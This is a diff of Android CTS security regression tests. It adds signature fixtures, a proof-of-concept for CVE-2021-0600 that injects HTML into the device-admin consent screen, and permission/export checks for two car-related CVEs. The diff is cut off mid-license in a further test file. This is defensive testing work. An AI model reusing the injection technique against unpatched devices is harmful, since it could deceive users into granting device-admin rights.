diff --git a/tests/tests/security/res/raw/sig_com_android_sdkext.bin b/tests/tests/security/res/raw/sig_com_android_sdkext.bin
new file mode 100644
index 00000000000..26a9b920fcf
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_sdkext.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_uwb.bin b/tests/tests/security/res/raw/sig_com_android_uwb.bin
new file mode 100644
index 00000000000..1118522aa4e
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_uwb.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin b/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin
new file mode 100644
index 00000000000..55f326cb5f3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin b/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin
new file mode 100644
index 00000000000..cd7e33cbfba
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin b/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin
new file mode 100644
index 00000000000..42e01d60c7d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_virt.bin b/tests/tests/security/res/raw/sig_com_android_virt.bin
new file mode 100644
index 00000000000..89c91e356c1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_virt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vndk.bin b/tests/tests/security/res/raw/sig_com_android_vndk.bin
new file mode 100644
index 00000000000..e6b006bf466
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vndk.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi.bin b/tests/tests/security/res/raw/sig_com_android_wifi.bin
new file mode 100644
index 00000000000..469ee37f822
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin b/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin
new file mode 100644
index 00000000000..1fc37ebb576
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin b/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin
new file mode 100644
index 00000000000..09016e017b9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_cf_apex.bin b/tests/tests/security/res/raw/sig_com_google_cf_apex.bin
new file mode 100644
index 00000000000..f894bf6b821
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_cf_apex.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin b/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin
new file mode 100644
index 00000000000..e011b6206b7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin
new file mode 100644
index 00000000000..af5d3136be3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin
new file mode 100644
index 00000000000..d8fcc87b5cf
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin
new file mode 100644
index 00000000000..c8c1806eb32
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin
new file mode 100644
index 00000000000..802cbc0e2f9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin b/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin
new file mode 100644
index 00000000000..6e4c31112ae
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin b/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin
new file mode 100644
index 00000000000..35347a65cc0
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin
new file mode 100644
index 00000000000..4d22159f17d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin
new file mode 100644
index 00000000000..dbeeefd1907
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin
new file mode 100644
index 00000000000..265ac9a8058
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin
new file mode 100644
index 00000000000..356a5ab5116
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_net_app.bin b/tests/tests/security/res/raw/sig_cts_net_app.bin
new file mode 100644
index 00000000000..ff683eda7f2
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_net_app.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_testkey1.bin b/tests/tests/security/res/raw/sig_cts_testkey1.bin
new file mode 100644
index 00000000000..ca90fe2d9a5
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_testkey1.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_testkey2.bin b/tests/tests/security/res/raw/sig_cts_testkey2.bin
new file mode 100644
index 00000000000..4371c215e51
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_testkey2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_uicc_2021.bin b/tests/tests/security/res/raw/sig_cts_uicc_2021.bin
new file mode 100644
index 00000000000..7125291a08a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_uicc_2021.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256.bin b/tests/tests/security/res/raw/sig_ec_p256.bin
new file mode 100644
index 00000000000..e611e3d9383
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_2.bin b/tests/tests/security/res/raw/sig_ec_p256_2.bin
new file mode 100644
index 00000000000..7723beab571
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_3.bin b/tests/tests/security/res/raw/sig_ec_p256_3.bin
new file mode 100644
index 00000000000..cc82af9c031
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_3.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_4.bin b/tests/tests/security/res/raw/sig_ec_p256_4.bin
new file mode 100644
index 00000000000..29980db219a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_4.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_5.bin b/tests/tests/security/res/raw/sig_ec_p256_5.bin
new file mode 100644
index 00000000000..e62d5bb5673
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_5.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_keyset_A.bin b/tests/tests/security/res/raw/sig_keyset_A.bin
new file mode 100644
index 00000000000..e484ec313a4
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_keyset_A.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_keyset_B.bin b/tests/tests/security/res/raw/sig_keyset_B.bin
new file mode 100644
index 00000000000..b95719ce728
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_keyset_B.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin b/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin
new file mode 100644
index 00000000000..24d2d5583ea
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_rsa_2048.bin b/tests/tests/security/res/raw/sig_rsa_2048.bin
new file mode 100644
index 00000000000..d61baefcd67
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_rsa_2048.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_sdk_sandbox.bin b/tests/tests/security/res/raw/sig_sdk_sandbox.bin
new file mode 100644
index 00000000000..3b01c2e3e88
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_sdk_sandbox.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_security_cts_test_cert.bin b/tests/tests/security/res/raw/sig_security_cts_test_cert.bin
new file mode 100644
index 00000000000..e62cbffbb7b
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_security_cts_test_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin b/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin
new file mode 100644
index 00000000000..be5aab59f1b
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_1.bin b/tests/tests/security/res/raw/sig_test_cert_1.bin
new file mode 100644
index 00000000000..e611e3d9383
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_1.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_2.bin b/tests/tests/security/res/raw/sig_test_cert_2.bin
new file mode 100644
index 00000000000..7723beab571
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_3.bin b/tests/tests/security/res/raw/sig_test_cert_3.bin
new file mode 100644
index 00000000000..cc82af9c031
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_3.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_4.bin b/tests/tests/security/res/raw/sig_test_cert_4.bin
new file mode 100644
index 00000000000..29980db219a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_4.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_testcert.bin b/tests/tests/security/res/raw/sig_testcert.bin
new file mode 100644
index 00000000000..cae337ec07c
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_testcert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_unit_test.bin b/tests/tests/security/res/raw/sig_unit_test.bin
new file mode 100644
index 00000000000..4dbbc4946bd
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_unit_test.bin
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
index 04c33e35cfe..3423f3239a0 100644
--- a/tests/tests/security/res/values/strings.xml
+++ b/tests/tests/security/res/values/strings.xml
@@ -44,4 +44,19 @@
<string name="cve_2023_20960_uriStringComponent">component=</string>
<string name="cve_2023_20960_uriStringIntent">intent:#Intent;</string>
<string name="cve_2023_20960_uriStringSuffix">;end</string>
+
+ <!-- CVE-2021-0600 -->
+ <string name="cve_2021_0600_action">CVE_2021_0600_action</string>
+ <string name="cve_2021_0600_errorCreateCharSeq">Failed to create a charsequence to contain HTML
+ text</string>
+ <string name="cve_2021_0600_failMsg">Vulnerable to b/179042963 !!</string>
+ <string name="cve_2021_0600_intentNotFound">Failed to resolve %1$s</string>
+ <string name="cve_2021_0600_keyException">exception</string>
+ <string name="cve_2021_0600_keyHtml">html</string>
+ <string name="cve_2021_0600_noException">noException</string>
+ <string name="cve_2021_0600_pattern">.*CVE_2021_0600_EXPN.*</string>
+ <string name="cve_2021_0600_patternNotFound">UI element with text pattern %1$s not found
+ </string>
+ <string name="cve_2021_0600_targetText">CVE_2021_0600_EXPN</string>
+ <string name="cve_2021_0600_targetTextHtml"><![CDATA[<h1>CVE_2021_0600_EXPN</h1>]]></string>
</resources>
diff --git a/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
new file mode 100644
index 00000000000..2b7410c06d4
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
@@ -0,0 +1,20 @@
+<?xml version ="1.0" encoding ="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies />
+</device-admin>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
new file mode 100644
index 00000000000..7981c4253bf
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0600 extends StsExtraBusinessLogicTestCase {
+ private static final long TIMEOUT_MS = 5000;
+ private CompletableFuture<String> mPocActivityReturn;
+ private UiDevice mDevice;
+ private Context mContext;
+
+ // b/179042963
+ // Vulnerable package : com.android.settings (As per AOSP code)
+ // Vulnerable app : Settings.apk (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 179042963)
+ @Test
+ public void testPocCVE_2021_0600() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ mDevice = UiDevice.getInstance(instrumentation);
+ mContext = instrumentation.getContext();
+
+ // Registering a broadcast receiver to receive broadcast from PocActivity.
+ mPocActivityReturn = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ mPocActivityReturn.complete(intent.getStringExtra(
+ mContext.getString(R.string.cve_2021_0600_keyException)));
+ } catch (Exception e) {
+ // ignore.
+ }
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter(mContext.getString(R.string.cve_2021_0600_action)));
+
+ // Launch the PocActivity which in turn starts DeviceAdminAdd activity with normal
+ // text as 'explanation'.
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), false);
+ mContext.startActivity(intent);
+ String pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException.trim()
+ .equals(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of the normal text with no formatting. Because width is same both
+ // with and without fix, height is being used for comparing the with and without
+ // fix behaviour.
+ int heightWoHtml = getVulnerableUIHeight();
+ assumeTrue(heightWoHtml != -1);
+
+ // Launch PocActivity again such that DeviceAdminAdd activity starts with formatted text
+ // this time.
+ mPocActivityReturn = new CompletableFuture<>();
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), true);
+ mContext.startActivity(intent);
+ pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException
+ .equalsIgnoreCase(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of HTML text with formatting.
+ int heightWithHtml = getVulnerableUIHeight();
+ assumeTrue(heightWithHtml != -1);
+
+ // On vulnerable device, the text displayed on the screen will be HTML formatted, so
+ // there will be considerable increase in height of the text due to <h1> tag, if there
+ // is at least 20% increase in height, the test will fail.
+ assertFalse(mContext.getString(R.string.cve_2021_0600_failMsg),
+ heightWithHtml > 1.2 * heightWoHtml);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ private int getVulnerableUIHeight() {
+ Pattern pattern = Pattern.compile(mContext.getString(R.string.cve_2021_0600_pattern),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ assumeTrue(mContext.getString(R.string.cve_2021_0600_patternNotFound, pattern),
+ mDevice.wait(Until.hasObject(selector), TIMEOUT_MS));
+ UiObject2 obj = mDevice.findObject(selector);
+ if (obj != null && obj.getText() != null
+ && obj.getText().contains(mContext.getString(R.string.cve_2021_0600_targetText))) {
+ Rect bounds = obj.getVisibleBounds();
+ return bounds.bottom - bounds.top;
+ }
+ return -1;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
new file mode 100644
index 00000000000..2634a426941
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.security.cts.R;
+import android.text.Html;
+
+// The vulnerable activity ADD_DEVICE_ADMIN can't be started as a new task hence PocActivity is
+// created to launch it.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+
+ // Create an intent to launch DeviceAdminAdd activity.
+ Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+ assumeNotNull(getString(R.string.cve_2021_0600_intentNotFound, intent),
+ intent.resolveActivity(getPackageManager()));
+ intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
+ new ComponentName(this, PocDeviceAdminReceiver.class));
+
+ // For adding an extra 'explanation' to the intent, creating a charsequence object.
+ CharSequence seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetText));
+ if (getIntent().getBooleanExtra(getString(R.string.cve_2021_0600_keyHtml), false)) {
+ seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetTextHtml));
+ }
+
+ // Using Html.fromHtml() causes whitespaces to occur at the start/end of the text which
+ // are unwanted. Remove the whitespace characters if any at the start and end of the
+ // charsequence.
+ int end = seq.length() - 1;
+ int start = 0;
+ while ((Character.isWhitespace(seq.charAt(start))) && start < end) {
+ ++start;
+ }
+ while ((Character.isWhitespace(seq.charAt(end))) && end > start) {
+ --end;
+ }
+
+ // Check if the charsequence is valid after trimming the whitespaces.
+ assumeFalse(getString(R.string.cve_2021_0600_errorCreateCharSeq), start > end);
+
+ // Adding the extra 'explanation' and launching the activity.
+ intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
+ seq.subSequence(start, end + 1));
+ startActivity(intent);
+
+ // Send a broadcast to indicate no exceptions occurred.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action)).putExtra(
+ getString(R.string.cve_2021_0600_keyException),
+ getString(R.string.cve_2021_0600_noException)));
+ } catch (Exception e) {
+ try {
+ // Send a broadcast to report exception.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action))
+ .putExtra(getString(R.string.cve_2021_0600_keyException), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore.
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..4d429cf48f8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20234.java b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
new file mode 100644
index 00000000000..8d65cdbd69d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20234 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 225189301)
+ @Test
+ public void testPocCVE_2022_20234() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assume().withMessage("Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing")
+ .that(pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE))
+ .isTrue();
+
+ // With fix, NotificationAccessConfirmationActivity is not exported
+ final String activityName = ".notifications.NotificationAccessConfirmationActivity";
+ final String pkgName = "com.android.car.settings";
+ ComponentName component = new ComponentName(pkgName, pkgName + activityName);
+ boolean exported = pm.getActivityInfo(component, 0 /* flags */).exported;
+ assertWithMessage(
+ "Vulnerable to b/225189301!! "
+ + pkgName
+ + activityName
+ + "can be started from outside system process")
+ .that(exported)
+ .isFalse();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20927.java b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
new file mode 100644
index 00000000000..8b9f4949d0a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20927 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 244216503)
+ @Test
+ public void testPocCVE_2023_20927() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assumeTrue(
+ "Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+ // Permissions added in com.android.car package as a part of the fix
+ List<String> missingPermissions = new ArrayList<String>();
+ missingPermissions.add("android.car.permission.BIND_PROJECTION_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_VMS_CLIENT");
+ missingPermissions.add(
+ "android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_CAR_INPUT_SERVICE");
+
+ // Fetch the permission of com.android.car package
+ final String pkgName = "com.android.car";
+ PackageInfo info = pm.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS);
+ assumeTrue(
+ "Package info for " + pkgName + " not fetched properly!! ",
+ info.packageName.equals(pkgName) && info.coreApp);
+ PermissionInfo[] permissionArray = info.permissions;
+ if (permissionArray != null) {
+ for (PermissionInfo perm : permissionArray) {
+ if (missingPermissions.contains(perm.name)) {
+ missingPermissions.remove(perm.name);
+ }
+ }
+ }
+
+ // Fail if any of the 4 permissions is missing
+ assertTrue(
+ "Vulnerable to b/244216503!"
+ + missingPermissions.toString()
+ + " missing in"
+ + " CarService.apk",
+ missingPermissions.size() == 0);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_21283.java b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
new file mode 100644
index 00000000000..dc3761d6131
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
